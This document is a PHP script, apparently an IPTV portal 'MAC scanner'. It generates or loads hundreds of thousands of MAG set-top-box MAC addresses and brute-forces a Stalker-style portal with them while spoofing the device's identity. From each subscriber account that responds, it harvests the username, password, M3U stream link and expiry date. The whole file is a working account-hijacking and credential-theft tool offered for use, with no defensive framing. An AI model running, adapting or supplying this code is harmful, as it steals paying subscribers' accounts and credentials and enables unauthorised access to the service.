<?php
ini_set('memory_limit', '350M');
function executeCurl($url, $headers = []) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
function getToken($url, $mac) {
$handshakeUrl = "$url/portal.php?type=stb&action=handshake&mac=$mac";
$headers = [
"User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C)",
"Cookie: mac=$mac; stb_lang=en; timezone=Europe/Amsterdam;"
];
$response = executeCurl($handshakeUrl, $headers);
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && isset($data['js']['token'])) {
return $data['js']['token'];
}
return false;
}
function getProfile($url, $mac, $token) {
$profileUrl = "$url/portal.php?type=stb&action=get_profile&mac=$mac";
$headers = [
"User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C)",
"Cookie: mac=$mac; stb_lang=en; timezone=Europe/Amsterdam;",
"Authorization: Bearer $token"
];
$response = executeCurl($profileUrl, $headers);
$decoded_response = json_decode($response, true);
if (!$decoded_response) {
$profileUrlAlt = "$url/server/load.php?type=stb&action=get_profile&hd=1&ver=ImageDescription:0.2.18-r14-pub-250;ImageDate:Fri Jan 15 15:20:44 EET 2016;PORTAL version:5.6.0;API Version:JS API version:328;STB API version:134;Player Engine version:0x566&num_banks=2&sn=&stb_type=MAG250&client_type=STB&image_version=218&video_out=hdmi&device_id=&device_id2=&signature=&auth_second_step=1&hw_version=1.7-BD-00¬_valid_token=0&metrics=my_metrics&hw_version_2=8fd633f002172e8bdf1ea662a3390271d7a1bc99×tamp=my_time&api_signature=262&prehash=0&JsHttpRequest=1-xml";
$responseAlt = executeCurl($profileUrlAlt, $headers);
$decoded_response = json_decode($responseAlt, true);
}
return $decoded_response;
}
function getMainInfo($url, $mac, $token) {
$mainInfoUrl = "$url/portal.php?type=account_info&action=get_main_info&mac=$mac";
$headers = [
"User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3",
"Authorization: Bearer $token",
"Cookie: mac=$mac; stb_lang=en; timezone=Europe/Amsterdam;"
];
$response = executeCurl($mainInfoUrl, $headers);
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE) {
return $data;
}
return false;
}
function getOrderedList($url, $mac, $token) {
$orderedListUrl = "$url/portal.php?action=get_ordered_list&JsHttpRequest=1-xml&type=vod&p=1&mac=$mac";
$headers = [
"User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3",
"Authorization: Bearer $token",
"Cookie: mac=$mac; stb_lang=en; timezone=Europe/Amsterdam;"
];
$response = executeCurl($orderedListUrl, $headers);
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && isset($data['js']['data'][0]['cmd'])) {
return $data['js']['data'][0]['cmd'];
}
return false;
}
function createLink($url, $mac, $token, $cmd) {
$createLinkUrl = "$url/portal.php?action=create_link&type=vod&cmd=$cmd&mac=$mac";
$headers = [
"User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3",
"Authorization: Bearer $token",
"Cookie: mac=$mac; stb_lang=en; timezone=Europe/Amsterdam;"
];
$response = executeCurl($createLinkUrl, $headers);
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && isset($data['js']['cmd'])) {
return $data['js']['cmd'];
}
return false;
}
function getPlayerApi($url, $cmd) {
preg_match('/\/movie\/([^\/]+)\/([^\/]+)\//', $cmd, $matches);
if (count($matches) < 3) {
return false;
}
$username = $matches[1];
$password = $matches[2];
$headers = [
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
];
$player_api_url = "$url/player_api.php?username=$username&password=$password";
$response = executeCurl($player_api_url, $headers);
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE) {
return $data;
}
return false;
}
function generateMacAddress() {
return sprintf('00:1A:79:%02X:%02X:%02X', mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
}
function generateMacAddresses($filename, $count) {
$macs = [];
for ($i = 0; $i < $count; $i++) {
$macs[] = generateMacAddress();
}
file_put_contents($filename, implode(PHP_EOL, $macs));
}
function isDuplicate($results, $newEntry) {
foreach ($results as $entry) {
if ($entry['MAC'] === $newEntry['MAC']) {
return true;
}
}
return false;
}
$mac_file = 'mac_addresses.txt';
$count = 100000; // Default count
if ($argc > 1) {
$url = $argv[1];
$count = 400000; // Set to 400,000 when called with argument
$action = 'scan';
} else {
echo "Do you want to test portal or scan portal? (test / default: scan): ";
$action = strtolower(trim(fgets(STDIN)));
if ($action !== 'test') {
$action = 'scan';
}
if ($action !== 'test') {
echo "Enter the number of MAC addresses to generate (default: 100000): ";
$count_input = trim(fgets(STDIN));
if (!empty($count_input)) {
$count = (int)$count_input;
}
generateMacAddresses($mac_file, $count);
} else {
echo "Enter the filename containing MAC addresses to test: ";
$mac_file = trim(fgets(STDIN));
if (!file_exists($mac_file)) {
echo "File not found." . PHP_EOL;
exit;
}
}
echo "Enter URL: ";
$url = trim(fgets(STDIN));
if (filter_var($url, FILTER_VALIDATE_URL) === false) {
echo "Invalid URL" . PHP_EOL;
exit;
}
}
$output_file = preg_replace('/[^a-zA-Z0-9_]/', '', parse_url($url, PHP_URL_HOST)) . '.json';
$results = [];
if (file_exists($output_file)) {
$results = json_decode(file_get_contents($output_file), true);
}
$error_count = 0;
$data_found = false;
$hits_found = 0;
$macs_processed = 0;
if (file_exists($mac_file)) {
$handle = fopen($mac_file, 'r');
if ($handle) {
while (($line = fgets($handle)) !== false) {
$mac = trim($line);
$macs_processed++;
echo "\rURL: $url | Hits found: $hits_found | MACs processed: $macs_processed";
processMac($url, $mac, $action);
if ($macs_processed >= $count) { // Ensure loop stops after the specified count
break;
}
}
fclose($handle);
}
}
function processMac($url, $mac, $action) {
global $results, $error_count, $data_found, $hits_found, $output_file;
$token = getToken($url, $mac);
if (!$token) {
$error_count++;
if ($action === 'test') {
echo "\nFailed at handshake" . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
return;
}
if ($action === 'test') {
echo "Handshake Response: " . json_encode($token, JSON_PRETTY_PRINT) . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$profile = getProfile($url, $mac, $token);
if (!$profile) {
if ($action === 'test') {
echo "Failed at get_profile" . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$error_count++;
return;
}
if ($action === 'test') {
echo "Profile Response: " . json_encode($profile, JSON_PRETTY_PRINT) . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$main_info = getMainInfo($url, $mac, $token);
if (!$main_info) {
if ($action === 'test') {
echo "Failed at get_main_info" . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$error_count++;
return;
}
if ($action === 'test') {
echo "Main Info Response: " . json_encode($main_info, JSON_PRETTY_PRINT) . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$cmd = getOrderedList($url, $mac, $token);
if (!$cmd) {
if ($action === 'test') {
echo "Failed at get_ordered_list" . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$error_count++;
return;
}
if ($action === 'test') {
echo "Ordered List Response: " . json_encode($cmd, JSON_PRETTY_PRINT) . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$create_link = createLink($url, $mac, $token, $cmd);
if (!$create_link) {
if ($action === 'test') {
echo "Failed at create_link" . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$error_count++;
return;
}
if ($action === 'test') {
echo "Create Link Response: " . json_encode($create_link, JSON_PRETTY_PRINT) . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$newEntry = [
'M3U' => '',
'MAC' => $mac,
'username' => 'N/A',
'password' => 'N/A',
'expires' => 'N/A'
];
if (preg_match('/00:1A:79:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}/', $create_link)) {
$newEntry['expires'] = date('d.m.Y', strtotime($main_info['js']['phone']));
if ($action === 'test') {
echo "MAC Found in Create Link, setting expires to: " . $newEntry['expires'] . PHP_EOL;
}
saveEntry($newEntry);
} else {
$player_api = getPlayerApi($url, $create_link);
if (!$player_api || $player_api['user_info']['auth'] != 1) {
if ($action === 'test') {
echo "Failed at player_api" . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$error_count++;
return;
}
if ($action === 'test') {
echo "Player API Response: " . json_encode($player_api, JSON_PRETTY_PRINT) . PHP_EOL;
echo "Press Enter to continue...";
fgets(STDIN);
}
$newEntry['expires'] = date('d.m.Y', $player_api['user_info']['exp_date']);
$newEntry['username'] = $player_api['user_info']['username'];
$newEntry['password'] = $player_api['user_info']['password'];
$newEntry['M3U'] = "$url/get.php?username={$newEntry['username']}&password={$newEntry['password']}&type=m3u_plus";
saveEntry($newEntry);
}
}
function saveEntry($newEntry) {
global $results, $hits_found, $data_found, $output_file, $action, $url;
if (!isDuplicate($results, $newEntry)) {
$results[] = $newEntry;
$hits_found++;
$data_found = true;
file_put_contents($output_file, json_encode($results, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
$three_months_from_now = strtotime('+3 months');
$filtered_macs = [];
foreach ($results as $entry) {
$expiry_date = strtotime(str_replace('.', '-', $entry['expires']));
if ($expiry_date > $three_months_from_now) {
$filtered_macs[] = $entry['MAC'];
}
}
$parsed_url = parse_url($url);
$host = $parsed_url['host'];
$output_filename = preg_replace('/[^a-zA-Z0-9_]/', '', $host) . 'mac.txt';
file_put_contents($output_filename, implode(PHP_EOL, $filtered_macs));
chmod($output_filename, 0755);
chown($output_filename, 'www-data');
chgrp($output_filename, 'www-data');
} else {
if ($action === 'test') {
echo "Duplicate Entry Found, skipping..." . PHP_EOL;
}
}
}
if ($data_found) {
echo "\nData saved to $output_file" . PHP_EOL;
chmod($output_file, 0755);
chown($output_file, 'www-data');
chgrp($output_file, 'www-data');
} else {
echo "\nNo Data to be saved!" . PHP_EOL;
}
?>